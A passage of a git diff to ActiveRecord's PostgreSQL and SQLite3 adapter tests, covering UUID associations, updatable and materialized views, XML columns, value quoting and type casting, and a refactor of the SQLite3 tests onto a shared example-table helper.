+    belongs_to :uuid_post
+  end
+
+  setup do
+    enable_extension!('uuid-ossp', connection)
+
+    connection.transaction do
+      connection.create_table('pg_uuid_posts', id: :uuid) do |t|
+        t.string 'title'
+      end
+      connection.create_table('pg_uuid_comments', id: :uuid) do |t|
+        t.references :uuid_post, type: :uuid
+        t.string 'content'
+      end
+    end
+  end
+
+  teardown do
+      drop_table "pg_uuid_comments"
+      drop_table "pg_uuid_posts"
+      disable_extension!('uuid-ossp', connection)
+  end
+
+  if ActiveRecord::Base.connection.supports_extensions?
+    def test_collection_association_with_uuid
+      post    = UuidPost.create!
+      comment = post.uuid_comments.create!
+      assert post.uuid_comments.find(comment.id)
+    end
+
+    def test_find_with_uuid
+      UuidPost.create!
+      assert_raise ActiveRecord::RecordNotFound do
+        UuidPost.find(123456)
+      end
+
+    end
+
+    def test_find_by_with_uuid
+      UuidPost.create!
+      assert_nil UuidPost.find_by(id: 789)
+    end
+  end
+
+end
diff --git a/activerecord/test/cases/adapters/postgresql/view_test.rb b/activerecord/test/cases/adapters/postgresql/view_test.rb
index 66e07b71a0..8a8e1d3b17 100644
--- a/activerecord/test/cases/adapters/postgresql/view_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/view_test.rb
@@ -1,49 +1,63 @@
 require "cases/helper"
+require "cases/view_test"
 
-class ViewTest < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
+class UpdateableViewTest < ActiveRecord::TestCase
+  fixtures :books
 
-  SCHEMA_NAME = 'test_schema'
-  TABLE_NAME = 'things'
-  VIEW_NAME = 'view_things'
-  COLUMNS = [
-    'id integer',
-    'name character varying(50)',
-    'email character varying(50)',
-    'moment timestamp without time zone'
-  ]
-
-  class ThingView < ActiveRecord::Base
-    self.table_name = 'test_schema.view_things'
+  class PrintedBook < ActiveRecord::Base
+    self.primary_key = "id"
   end
 
-  def setup
+  setup do
     @connection = ActiveRecord::Base.connection
-    @connection.execute "CREATE SCHEMA #{SCHEMA_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
-    @connection.execute "CREATE TABLE #{SCHEMA_NAME}.\"#{TABLE_NAME}.table\" (#{COLUMNS.join(',')})"
-    @connection.execute "CREATE VIEW #{SCHEMA_NAME}.#{VIEW_NAME} AS SELECT id,name,email,moment FROM #{SCHEMA_NAME}.#{TABLE_NAME}"
+    @connection.execute <<-SQL
+      CREATE VIEW printed_books
+        AS SELECT id, name, status, format FROM books WHERE format = 'paperback'
+    SQL
+  end
+
+  teardown do
+    @connection.execute "DROP VIEW printed_books" if @connection.table_exists? "printed_books"
   end
 
-  def teardown
-    @connection.execute "DROP SCHEMA #{SCHEMA_NAME} CASCADE"
+  def test_update_record
+    book = PrintedBook.first
+    book.name = "AWDwR"
+    book.save!
+    book.reload
+    assert_equal "AWDwR", book.name
   end
 
-  def test_table_exists
-    name = ThingView.table_name
-    assert @connection.table_exists?(name), "'#{name}' table should exist"
+  def test_insert_record
+    PrintedBook.create! name: "Rails in Action", status: 0, format: "paperback"
+
+    new_book = PrintedBook.last
+    assert_equal "Rails in Action", new_book.name
   end
 
-  def test_column_definitions
-    assert_nothing_raised do
-      assert_equal COLUMNS, columns("#{SCHEMA_NAME}.#{VIEW_NAME}")
+  def test_update_record_to_fail_view_conditions
+    book = PrintedBook.first
+    book.format = "ebook"
+    book.save!
+
+    assert_raises ActiveRecord::RecordNotFound do
+      book.reload
     end
   end
+end
+
+if ActiveRecord::Base.connection.supports_materialized_views?
+class MaterializedViewTest < ActiveRecord::TestCase
+  include ViewBehavior
 
   private
-    def columns(table_name)
-      @connection.send(:column_definitions, table_name).map do |name, type, default|
-        "#{name} #{type}" + (default ? " default #{default}" : '')
-      end
-    end
+  def create_view(name, query)
+    @connection.execute "CREATE MATERIALIZED VIEW #{name} AS #{query}"
+  end
 
+  def drop_view(name)
+    @connection.execute "DROP MATERIALIZED VIEW #{name}" if @connection.table_exists? name
+
+  end
+end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/xml_test.rb b/activerecord/test/cases/adapters/postgresql/xml_test.rb
index bf14b378d8..05b34dcf7d 100644
--- a/activerecord/test/cases/adapters/postgresql/xml_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/xml_test.rb
@@ -1,10 +1,8 @@
-# encoding: utf-8
-
 require 'cases/helper'
-require 'active_record/base'
-require 'active_record/connection_adapters/postgresql_adapter'
+require 'support/schema_dumping_helper'
 
 class PostgresqlXMLTest < ActiveRecord::TestCase
+  include SchemaDumpingHelper
   class XmlDataType < ActiveRecord::Base
     self.table_name = 'xml_data_type'
   end
@@ -14,16 +12,16 @@ class PostgresqlXMLTest < ActiveRecord::TestCase
     begin
       @connection.transaction do
         @connection.create_table('xml_data_type') do |t|
-          t.xml 'payload', default: {}
+          t.xml 'payload'
         end
       end
     rescue ActiveRecord::StatementInvalid
-      return skip "do not test on PG without xml"
+      skip "do not test on PG without xml"
     end
-    @column = XmlDataType.columns.find { |c| c.name == 'payload' }
+    @column = XmlDataType.columns_hash['payload']
   end
 
-  def teardown
+  teardown do
     @connection.execute 'drop table if exists xml_data_type'
   end
 
@@ -35,4 +33,22 @@ class PostgresqlXMLTest < ActiveRecord::TestCase
     @connection.execute %q|insert into xml_data_type (payload) VALUES(null)|
     assert_nil XmlDataType.first.payload
   end
+
+  def test_round_trip
+    data = XmlDataType.new(payload: "<foo>bar</foo>")
+    assert_equal "<foo>bar</foo>", data.payload
+    data.save!
+    assert_equal "<foo>bar</foo>", data.reload.payload
+  end
+
+  def test_update_all
+    data = XmlDataType.create!
+    XmlDataType.update_all(payload: "<bar>baz</bar>")
+    assert_equal "<bar>baz</bar>", data.reload.payload
+  end
+
+  def test_schema_dump_with_shorthand
+    output = dump_table_schema("xml_data_type")
+    assert_match %r{t\.xml "payload"}, output
+  end
 end
diff --git a/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb b/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
index e78cb88562..13b754d226 100644
--- a/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
@@ -1,7 +1,7 @@
 require "cases/helper"
 
 class CopyTableTest < ActiveRecord::TestCase
-  fixtures :customers, :companies, :comments, :binaries
+  fixtures :customers
 
   def setup
     @connection = ActiveRecord::Base.connection
@@ -60,7 +60,6 @@ class CopyTableTest < ActiveRecord::TestCase
       assert_equal original_id.type, copied_id.type
       assert_equal original_id.sql_type, copied_id.sql_type
       assert_equal original_id.limit, copied_id.limit
-      assert_equal original_id.primary, copied_id.primary
     end
   end
 
diff --git a/activerecord/test/cases/adapters/sqlite3/explain_test.rb b/activerecord/test/cases/adapters/sqlite3/explain_test.rb
index b227bce680..7d66c44798 100644
--- a/activerecord/test/cases/adapters/sqlite3/explain_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/explain_test.rb
@@ -1,5 +1,6 @@
 require "cases/helper"
 require 'models/developer'
+require 'models/computer'
 
 module ActiveRecord
   module ConnectionAdapters
@@ -9,15 +10,15 @@ module ActiveRecord
 
         def test_explain_for_one_query
           explain = Developer.where(:id => 1).explain
-          assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers"  WHERE "developers"."id" = 1), explain
+          assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = ?), explain
           assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain)
         end
 
         def test_explain_with_eager_loading
           explain = Developer.where(:id => 1).includes(:audit_logs).explain
-          assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers"  WHERE "developers"."id" = 1), explain
+          assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = ?), explain
           assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain)
-          assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs"  WHERE "audit_logs"."developer_id" IN (1)), explain
+          assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" = 1), explain
           assert_match(/(SCAN )?TABLE audit_logs/, explain)
         end
       end
diff --git a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
index a7b2764fc1..c1d9b7c273 100644
--- a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
@@ -15,76 +15,55 @@ module ActiveRecord
 
         def test_type_cast_binary_encoding_without_logger
           @conn.extend(Module.new { def logger; end })
-          column = Struct.new(:type, :name).new(:string, "foo")
           binary = SecureRandom.hex
           expected = binary.dup.encode!(Encoding::UTF_8)
-          assert_equal expected, @conn.type_cast(binary, column)
+          assert_equal expected, @conn.type_cast(binary)
         end
 
         def test_type_cast_symbol
-          assert_equal 'foo', @conn.type_cast(:foo, nil)
+          assert_equal 'foo', @conn.type_cast(:foo)
         end
 
         def test_type_cast_date
           date = Date.today
           expected = @conn.quoted_date(date)
-          assert_equal expected, @conn.type_cast(date, nil)
+          assert_equal expected, @conn.type_cast(date)
         end
 
         def test_type_cast_time
           time = Time.now
           expected = @conn.quoted_date(time)
-          assert_equal expected, @conn.type_cast(time, nil)
+          assert_equal expected, @conn.type_cast(time)
         end
 
         def test_type_cast_numeric
-          assert_equal 10, @conn.type_cast(10, nil)
-          assert_equal 2.2, @conn.type_cast(2.2, nil)
+          assert_equal 10, @conn.type_cast(10)
+          assert_equal 2.2, @conn.type_cast(2.2)
         end
 
         def test_type_cast_nil
-          assert_equal nil, @conn.type_cast(nil, nil)
+          assert_equal nil, @conn.type_cast(nil)
         end
 
         def test_type_cast_true
-          c = Column.new(nil, 1, 'int')
-          assert_equal 't', @conn.type_cast(true, nil)
-          assert_equal 1, @conn.type_cast(true, c)
+          assert_equal 't', @conn.type_cast(true)
         end
 
         def test_type_cast_false
-          c = Column.new(nil, 1, 'int')
-          assert_equal 'f', @conn.type_cast(false, nil)
-          assert_equal 0, @conn.type_cast(false, c)
-        end
-
-        def test_type_cast_string
-          assert_equal '10', @conn.type_cast('10', nil)
-
-          c = Column.new(nil, 1, 'int')
-          assert_equal 10, @conn.type_cast('10', c)
-
-          c = Column.new(nil, 1, 'float')
-          assert_equal 10.1, @conn.type_cast('10.1', c)
-
-          c = Column.new(nil, 1, 'binary')
-          assert_equal '10.1', @conn.type_cast('10.1', c)
-
-          c = Column.new(nil, 1, 'date')
-          assert_equal '10.1', @conn.type_cast('10.1', c)
+          assert_equal 'f', @conn.type_cast(false)
         end
 
         def test_type_cast_bigdecimal
           bd = BigDecimal.new '10.0'
-          assert_equal bd.to_f, @conn.type_cast(bd, nil)
+          assert_equal bd.to_f, @conn.type_cast(bd)
         end
 
         def test_type_cast_unknown_should_raise_error
           obj = Class.new.new
-          assert_raise(TypeError) { @conn.type_cast(obj, nil) }
+          assert_raise(TypeError) { @conn.type_cast(obj) }
         end
 
-        def test_quoted_id
+        def test_type_cast_object_which_responds_to_quoted_id
           quoted_id_obj = Class.new {
             def quoted_id
               "'zomg'"
@@ -94,7 +73,21 @@ module ActiveRecord
               10
             end
           }.new
-          assert_equal 10, @conn.type_cast(quoted_id_obj, nil)
+          assert_equal 10, @conn.type_cast(quoted_id_obj)
+
+          quoted_id_obj = Class.new {
+            def quoted_id
+              "'zomg'"
+            end
+          }.new
+          assert_raise(TypeError) { @conn.type_cast(quoted_id_obj) }
+        end
+
+        def test_quoting_binary_strings
+          value = "hello".encode('ascii-8bit')
+          type = Type::String.new
+
+          assert_equal "'hello'", @conn.quote(type.type_cast_for_database(value))
         end
       end
     end
diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
index 6ba6518eaa..f916d99bcf 100644
--- a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
@@ -1,50 +1,72 @@
-# encoding: utf-8
 require "cases/helper"
 require 'models/owner'
+require 'tempfile'
+require 'support/ddl_helper'
 
 module ActiveRecord
   module ConnectionAdapters
     class SQLite3AdapterTest < ActiveRecord::TestCase
+      include DdlHelper
+
       self.use_transactional_fixtures = false
 
       class DualEncoding < ActiveRecord::Base
       end
 
       def setup
-        @conn = Base.sqlite3_connection :database => ':memory:',
-                                       :adapter => 'sqlite3',
-                                       :timeout => 100
-        @conn.execute <<-eosql
-          CREATE TABLE items (
-            id integer PRIMARY KEY AUTOINCREMENT,
-            number integer
-          )
-        eosql
+        @conn = Base.sqlite3_connection database: ':memory:',
+                                        adapter: 'sqlite3',
+                                        timeout: 100
+      end
+
+      def test_bad_connection
+        assert_raise ActiveRecord::NoDatabaseError do
+          connection = ActiveRecord::Base.sqlite3_connection(adapter: "sqlite3", database: "/tmp/should/_not/_exist/-cinco-dog.db")
+          connection.exec_query('drop table if exists ex')
+        end
+      end
 
-        @conn.extend(LogIntercepter)
-        @conn.intercepted = true
+      unless in_memory_db?
+        def test_connect_with_url
+          original_connection = ActiveRecord::Base.remove_connection
+          tf = Tempfile.open 'whatever'
+          url = "sqlite3:#{tf.path}"
+          ActiveRecord::Base.establish_connection(url)
+          assert ActiveRecord::Base.connection
+        ensure
+          tf.close
+          tf.unlink
+          ActiveRecord::Base.establish_connection(original_connection)
+        end
+
+        def test_connect_memory_with_url
+          original_connection = ActiveRecord::Base.remove_connection
+          url = "sqlite3::memory:"
+          ActiveRecord::Base.establish_connection(url)
+          assert ActiveRecord::Base.connection
+        ensure
+          ActiveRecord::Base.establish_connection(original_connection)
+        end
       end
 
       def test_valid_column
-        column = @conn.columns('items').find { |col| col.name == 'id' }
-        assert @conn.valid_type?(column.type)
+        with_example_table do
+          column = @conn.columns('ex').find { |col| col.name == 'id' }
+          assert @conn.valid_type?(column.type)
+        end
       end
 
-      # sqlite databases should be able to support any type and not
-      # just the ones mentioned in the native_database_types. 
-      # Therefore test_invalid column should always return true 
-      # even if the type is not valid.
+      # sqlite3 databases should be able to support any type and not just the
+      # ones mentioned in the native_database_types.
+      #
+      # Therefore test_invalid column should always return true even if the
+      # type is not valid.
       def test_invalid_column
         assert @conn.valid_type?(:foobar)
       end
 
-      def teardown
-        @conn.intercepted = false
-        @conn.logged = []
-      end
-
       def test_column_types
-        owner = Owner.create!(:name => "hello".encode('ascii-8bit'))
+        owner = Owner.create!(name: "hello".encode('ascii-8bit'))
         owner.reload
         select = Owner.columns.map { |c| "typeof(#{c.name})" }.join ', '
         result = Owner.connection.exec_query <<-esql
@@ -54,23 +76,27 @@ module ActiveRecord
         esql
 
         assert(!result.rows.first.include?("blob"), "should not store blobs")
+      ensure
+        owner.delete
       end
 
       def test_exec_insert
-        column = @conn.columns('items').find { |col| col.name == 'number' }
-        vals   = [[column, 10]]
-        @conn.exec_insert('insert into items (number) VALUES (?)', 'SQL', vals)
+        with_example_table do
+          vals = [Relation::QueryAttribute.new("number", 10, Type::Value.new)]
+          @conn.exec_insert('insert into ex (number) VALUES (?)', 'SQL', vals)
 
-        result = @conn.exec_query(
-          'select number from items where number = ?', 'SQL', vals)
+          result = @conn.exec_query(
+            'select number from ex where number = ?', 'SQL', vals)
 
-        assert_equal 1, result.rows.length
-        assert_equal 10, result.rows.first.first
+          assert_equal 1, result.rows.length
+          assert_equal 10, result.rows.first.first
+        end
       end
 
       def test_primary_key_returns_nil_for_no_pk
-        @conn.exec_query('create table ex(id int, data string)')
-        assert_nil @conn.primary_key('ex')
+        with_example_table 'id int, data string' do
+          assert_nil @conn.primary_key('ex')
+        end
       end
 
       def test_connection_no_db
@@ -81,17 +107,17 @@ module ActiveRecord
 
       def test_bad_timeout
         assert_raises(TypeError) do
-          Base.sqlite3_connection :database => ':memory:',
-                                  :adapter => 'sqlite3',
-                                  :timeout => 'usa'
+          Base.sqlite3_connection database: ':memory:',
+                                  adapter: 'sqlite3',
+                                  timeout: 'usa'
         end
       end
 
       # connection is OK with a nil timeout
       def test_nil_timeout
-        conn = Base.sqlite3_connection :database => ':memory:',
-                                       :adapter => 'sqlite3',
-                                       :timeout => nil
+        conn = Base.sqlite3_connection database: ':memory:',
+                                       adapter: 'sqlite3',
+                                       timeout: nil
         assert conn, 'made a connection'
       end
 
@@ -105,82 +131,87 @@ module ActiveRecord
       end
 
       def test_bind_value_substitute
-        bind_param = @conn.substitute_at('foo', 0)
-        assert_equal Arel.sql('?'), bind_param
+        bind_param = @conn.substitute_at('foo')
+        assert_equal Arel.sql('?'), bind_param.to_sql
       end
 
       def test_exec_no_binds
-        @conn.exec_query('create table ex(id int, data string)')
-        result = @conn.exec_query('SELECT id, data FROM ex')
-        assert_equal 0, result.rows.length
-        assert_equal 2, result.columns.length
-        assert_equal %w{ id data }, result.columns
-
-        @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
-        result = @conn.exec_query('SELECT id, data FROM ex')
-        assert_equal 1, result.rows.length
-        assert_equal 2, result.columns.length
-
-        assert_equal [[1, 'foo']], result.rows
+        with_example_table 'id int, data string' do
+          result = @conn.exec_query('SELECT id, data FROM ex')
+          assert_equal 0, result.rows.length
+          assert_equal 2, result.columns.length
+          assert_equal %w{ id data }, result.columns
+
+          @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+          result = @conn.exec_query('SELECT id, data FROM ex')
+          assert_equal 1, result.rows.length
+          assert_equal 2, result.columns.length
+
+          assert_equal [[1, 'foo']], result.rows
+        end
       end
 
       def test_exec_query_with_binds
-        @conn.exec_query('create table ex(id int, data string)')
-        @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
-        result = @conn.exec_query(
-          'SELECT id, data FROM ex WHERE id = ?', nil, [[nil, 1]])
+        with_example_table 'id int, data string' do
+          @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+          result = @conn.exec_query(
+            'SELECT id, data FROM ex WHERE id = ?', nil, [Relation::QueryAttribute.new(nil, 1, Type::Value.new)])
 
-        assert_equal 1, result.rows.length
-        assert_equal 2, result.columns.length
+          assert_equal 1, result.rows.length
+          assert_equal 2, result.columns.length
 
-        assert_equal [[1, 'foo']], result.rows
+          assert_equal [[1, 'foo']], result.rows
+        end
       end
 
       def test_exec_query_typecasts_bind_vals
-        @conn.exec_query('create table ex(id int, data string)')
-        @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
-        column = @conn.columns('ex').find { |col| col.name == 'id' }
+        with_example_table 'id int, data string' do
+          @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
 
-        result = @conn.exec_query(
-          'SELECT id, data FROM ex WHERE id = ?', nil, [[column, '1-fuu']])
+          result = @conn.exec_query(
+            'SELECT id, data FROM ex WHERE id = ?', nil, [Relation::QueryAttribute.new("id", "1-fuu", Type::Integer.new)])
 
-        assert_equal 1, result.rows.length
-        assert_equal 2, result.columns.length
+          assert_equal 1, result.rows.length
+          assert_equal 2, result.columns.length
 
-        assert_equal [[1, 'foo']], result.rows
+          assert_equal [[1, 'foo']], result.rows
+        end
       end
 
       def test_quote_binary_column_escapes_it
         DualEncoding.connection.execute(<<-eosql)
-          CREATE TABLE dual_encodings (
+          CREATE TABLE IF NOT EXISTS dual_encodings (
             id integer PRIMARY KEY AUTOINCREMENT,
-            name string,
+            name varchar(255),
             data binary
           )
         eosql
         str = "\x80".force_encoding("ASCII-8BIT")
-        binary = DualEncoding.new :name => 'いただきます！', :data => str
+        binary = DualEncoding.new name: 'いただきます！', data: str
         binary.save!
         assert_equal str, binary.data
-
       ensure
-        DualEncoding.connection.drop_table('dual_encodings')
+        DualEncoding.connection.execute('DROP TABLE IF EXISTS dual_encodings')
       end
 
       def test_type_cast_should_not_mutate_encoding
         name  = 'hello'.force_encoding(Encoding::ASCII_8BIT)
         Owner.create(name: name)
         assert_equal Encoding::ASCII_8BIT, name.encoding
+      ensure
+        Owner.delete_all
       end
 
       def test_execute
-        @conn.execute "INSERT INTO items (number) VALUES (10)"
-        records = @conn.execute "SELECT * FROM items"
-        assert_equal 1, records.length
-
-        record = records.first
-        assert_equal 10, record['number']
-        assert_equal 1, record['id']
+        with_example_table do
+          @conn.execute "INSERT INTO ex (number) VALUES (10)"
+          records = @conn.execute "SELECT * FROM ex"
+          assert_equal 1, records.length
+
+          record = records.first
+          assert_equal 10, record['number']
+          assert_equal 1, record['id']
+        end
       end
 
       def test_quote_string
@@ -188,128 +219,141 @@ module ActiveRecord
       end
 
       def test_insert_sql
-        2.times do |i|
-          rv = @conn.insert_sql "INSERT INTO items (number) VALUES (#{i})"
-          assert_equal(i + 1, rv)
+        with_example_table do
+          2.times do |i|
+            rv = @conn.insert_sql "INSERT INTO ex (number) VALUES (#{i})"
+            assert_equal(i + 1, rv)
+          end
+
+          records = @conn.execute "SELECT * FROM ex"
+          assert_equal 2, records.length
         end
-
-        records = @conn.execute "SELECT * FROM items"
-        assert_equal 2, records.length
       end
 
       def test_insert_sql_logged
-        sql = "INSERT INTO items (number) VALUES (10)"
-        name = "foo"
-
-        assert_logged([[sql, name, []]]) do
-          @conn.insert_sql sql, name
+        with_example_table do
+          sql = "INSERT INTO ex (number) VALUES (10)"
+          name = "foo"
+          assert_logged [[sql, name, []]] do
+            @conn.insert_sql sql, name
+          end
         end
       end
 
       def test_insert_id_value_returned
-        sql = "INSERT INTO items (number) VALUES (10)"
-        idval = 'vuvuzela'
-        id = @conn.insert_sql sql, nil, nil, idval
-        assert_equal idval, id
+        with_example_table do
+          sql = "INSERT INTO ex (number) VALUES (10)"
+          idval = 'vuvuzela'
+          id = @conn.insert_sql sql, nil, nil, idval
+          assert_equal idval, id
+        end
       end
 
       def test_select_rows
-        2.times do |i|
-          @conn.create "INSERT INTO items (number) VALUES (#{i})"
+        with_example_table do
+          2.times do |i|
+            @conn.create "INSERT INTO ex (number) VALUES (#{i})"
+          end
+          rows = @conn.select_rows 'select number, id from ex'
+          assert_equal [[0, 1], [1, 2]], rows
         end
-        rows = @conn.select_rows 'select number, id from items'
-        assert_equal [[0, 1], [1, 2]], rows
       end
 
       def test_select_rows_logged
-        sql = "select * from items"
-        name = "foo"
-
-        assert_logged([[sql, name, []]]) do
-          @conn.select_rows sql, name
+        with_example_table do
+          sql = "select * from ex"
+          name = "foo"
+          assert_logged [[sql, name, []]] do
+            @conn.select_rows sql, name
+          end
         end
       end
 
       def test_transaction
-        count_sql = 'select count(*) from items'
+        with_example_table do
+          count_sql = 'select count(*) from ex'
 
-        @conn.begin_db_transaction
-        @conn.create "INSERT INTO items (number) VALUES (10)"
+          @conn.begin_db_transaction
+          @conn.create "INSERT INTO ex (number) VALUES (10)"
 
-        assert_equal 1, @conn.select_rows(count_sql).first.first
-        @conn.rollback_db_transaction
-        assert_equal 0, @conn.select_rows(count_sql).first.first
+          assert_equal 1, @conn.select_rows(count_sql).first.first
+          @conn.rollback_db_transaction
+          assert_equal 0, @conn.select_rows(count_sql).first.first
+        end
       end
 
       def test_tables
-        assert_equal %w{ items }, @conn.tables
-
-        @conn.execute <<-eosql
-          CREATE TABLE people (
-            id integer PRIMARY KEY AUTOINCREMENT,
-            number integer
-          )
-        eosql
-        assert_equal %w{ items people }.sort, @conn.tables.sort
+        with_example_table do
+          assert_equal %w{ ex }, @conn.tables
+          with_example_table 'id integer PRIMARY KEY AUTOINCREMENT, number integer', 'people' do
+            assert_equal %w{ ex people }.sort, @conn.tables.sort
+          end
+        end
       end
 
       def test_tables_logs_name
-        assert_logged [['SCHEMA', []]] do
+        sql = <<-SQL
+          SELECT name FROM sqlite_master
+          WHERE (type = 'table' OR type = 'view') AND NOT name = 'sqlite_sequence'
+        SQL
+        assert_logged [[sql.squish, 'SCHEMA', []]] do
           @conn.tables('hello')
-          assert_not_nil @conn.logged.first.shift
         end
       end
 
       def test_indexes_logs_name
-        assert_logged [["PRAGMA index_list(\"items\")", 'SCHEMA', []]] do
-          @conn.indexes('items', 'hello')
+        with_example_table do
+          assert_logged [["PRAGMA index_list(\"ex\")", 'SCHEMA', []]] do
+            @conn.indexes('ex', 'hello')
+          end
         end
       end
 
       def test_table_exists_logs_name
-        assert @conn.table_exists?('items')
-        assert_equal 'SCHEMA', @conn.logged[0][1]
+        with_example_table do
+          sql = <<-SQL
+            SELECT name FROM sqlite_master
+            WHERE (type = 'table' OR type = 'view')
+            AND NOT name = 'sqlite_sequence' AND name = \"ex\"
+          SQL
+          assert_logged [[sql.squish, 'SCHEMA', []]] do
+            assert @conn.table_exists?('ex')
+          end
+        end
       end
 
       def test_columns
-        columns = @conn.columns('items').sort_by { |x| x.name }
-        assert_equal 2, columns.length
-        assert_equal %w{ id number }.sort, columns.map { |x| x.name }
-        assert_equal [nil, nil], columns.map { |x| x.default }
-        assert_equal [true, true], columns.map { |x| x.null }
+        with_example_table do
+          columns = @conn.columns('ex').sort_by(&:name)
+          assert_equal 2, columns.length
+          assert_equal %w{ id number }.sort, columns.map(&:name)
+          assert_equal [nil, nil], columns.map(&:default)
+          assert_equal [true, true], columns.map(&:null)
+        end
       end
 
       def test_columns_with_default
-        @conn.execute <<-eosql
-          CREATE TABLE columns_with_default (
-            id integer PRIMARY KEY AUTOINCREMENT,
-            number integer default 10
-          )
-        eosql
-        column = @conn.columns('columns_with_default').find { |x|
-          x.name == 'number'
-        }
-        assert_equal 10, column.default
+        with_example_table 'id integer PRIMARY KEY AUTOINCREMENT, number integer default 10' do
+          column = @conn.columns('ex').find { |x|
+            x.name == 'number'
+          }
+          assert_equal '10', column.default
+        end
       end
 
       def test_columns_with_not_null
-        @conn.execute <<-eosql
-          CREATE TABLE columns_with_default (
-            id integer PRIMARY KEY AUTOINCREMENT,
-            number integer not null
-          )
-        eosql
-        column = @conn.columns('columns_with_default').find { |x|
-          x.name == 'number'
-        }
-        assert !column.null, "column should not be null"
+        with_example_table 'id integer PRIMARY KEY AUTOINCREMENT, number integer not null' do
+          column = @conn.columns('ex').find { |x| x.name == 'number' }
+          assert_not column.null, "column should not be null"
+        end
       end
 
       def test_indexes_logs
-        assert_difference('@conn.logged.length') do
-          @conn.indexes('items')
+        with_example_table do
+          assert_logged [["PRAGMA index_list(\"ex\")", "SCHEMA", []]] do
+            @conn.indexes('ex')
+          end
         end
-        assert_match(/items/, @conn.logged.last.first)
       end
 
       def test_no_indexes
@@ -317,41 +361,51 @@ module ActiveRecord
       end
 
       def test_index
-        @conn.add_index 'items', 'id', :unique => true, :name => 'fun'
-        index = @conn.indexes('items').find { |idx| idx.name == 'fun' }
+        with_example_table do
+          @conn.add_index 'ex', 'id', unique: true, name: 'fun'
+          index = @conn.indexes('ex').find { |idx| idx.name == 'fun' }
 
-        assert_equal 'items', index.table
-        assert index.unique, 'index is unique'
-        assert_equal ['id'], index.columns
+          assert_equal 'ex', index.table
+          assert index.unique, 'index is unique'
+          assert_equal ['id'], index.columns
+        end
       end
 
       def test_non_unique_index
-        @conn.add_index 'items', 'id', :name => 'fun'
-        index = @conn.indexes('items').find { |idx| idx.name == 'fun' }
-        assert !index.unique, 'index is not unique'
+        with_example_table do
+          @conn.add_index 'ex', 'id', name: 'fun'
+          index = @conn.indexes('ex').find { |idx| idx.name == 'fun' }
+          assert_not index.unique, 'index is not unique'
+        end
       end
 
       def test_compound_index
-        @conn.add_index 'items', %w{ id number }, :name => 'fun'
-        index = @conn.indexes('items').find { |idx| idx.name == 'fun' }
-        assert_equal %w{ id number }.sort, index.columns.sort
+        with_example_table do
+          @conn.add_index 'ex', %w{ id number }, name: 'fun'
+          index = @conn.indexes('ex').find { |idx| idx.name == 'fun' }
+          assert_equal %w{ id number }.sort, index.columns.sort
+        end
       end
 
       def test_primary_key
-        assert_equal 'id', @conn.primary_key('items')
-
-        @conn.execute <<-eosql
-          CREATE TABLE foos (
-            internet integer PRIMARY KEY AUTOINCREMENT,
-            number integer not null
-          )
-        eosql
-        assert_equal 'internet', @conn.primary_key('foos')
+        with_example_table do
+          assert_equal 'id', @conn.primary_key('ex')
+          with_example_table 'internet integer PRIMARY KEY AUTOINCREMENT, number integer not null', 'foos' do
+            assert_equal 'internet', @conn.primary_key('foos')
+          end
+        end
       end
 
       def test_no_primary_key
-        @conn.execute 'CREATE TABLE failboat (number integer not null)'
-        assert_nil @conn.primary_key('failboat')
+        with_example_table 'number integer not null' do
+          assert_nil @conn.primary_key('ex')
+        end
+      end
+
+      def test_composite_primary_key
+        with_example_table 'id integer, number integer, foo integer, PRIMARY KEY (id, number)' do
+          assert_nil @conn.primary_key('ex')
+        end
       end
 
       def test_supports_extensions
@@ -366,13 +420,39 @@ module ActiveRecord
         assert @conn.respond_to?(:disable_extension)
       end
 
+      def test_statement_closed
+        db = SQLite3::Database.new(ActiveRecord::Base.
+                                   configurations['arunit']['database'])
+        statement = SQLite3::Statement.new(db,
+                                           'CREATE TABLE statement_test (number integer not null)')
+        statement.stubs(:step).raises(SQLite3::BusyException, 'busy')
+        statement.stubs(:columns).once.returns([])
+        statement.expects(:close).once
+        SQLite3::Statement.stubs(:new).returns(statement)
+
+        assert_raises ActiveRecord::StatementInvalid do
+          @conn.exec_query 'select * from statement_test'
+        end
+      end
+
       private
 
       def assert_logged logs
+        subscriber = SQLSubscriber.new
+        subscription = ActiveSupport::Notifications.subscribe('sql.active_record', subscriber)
         yield
-        assert_equal logs, @conn.logged
+        assert_equal logs, subscriber.logged
+      ensure
+        ActiveSupport::Notifications.unsubscribe(subscription)
       end
 
+      def with_example_table(definition = nil, table_name = 'ex', &block)
+        definition ||= <<-SQL
+          id integer PRIMARY KEY AUTOINCREMENT,
+          number integer
+        SQL
+        super(@conn, table_name, definition, &block)
+      end
     end
   end
 end
